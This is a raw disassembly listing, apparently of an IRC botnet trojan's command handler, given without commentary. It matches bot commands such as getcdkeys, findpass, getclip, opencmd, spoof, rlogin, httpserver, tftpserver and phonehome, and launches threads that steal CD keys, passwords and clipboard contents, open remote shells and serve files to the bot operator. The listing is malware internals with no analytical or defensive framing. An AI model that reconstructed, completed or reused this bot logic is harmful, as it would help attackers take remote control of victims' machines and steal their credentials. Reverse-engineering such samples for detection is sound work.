		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------


loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]


loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx


loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5


loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5


loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------


loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx


loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------


loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408


loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------


loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F


loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D


loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------


loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl


loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"


loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83


loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------


loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		nop
		call	near ptr 2670859h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h


loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108


loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13


loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------


loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------


loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C


loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------


loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2660A28h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85


loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------


loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42BDA8


loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------


loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------


loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080


loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]


loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128


loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA


loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660F23h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2670859h
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------


loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D


loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42BC04
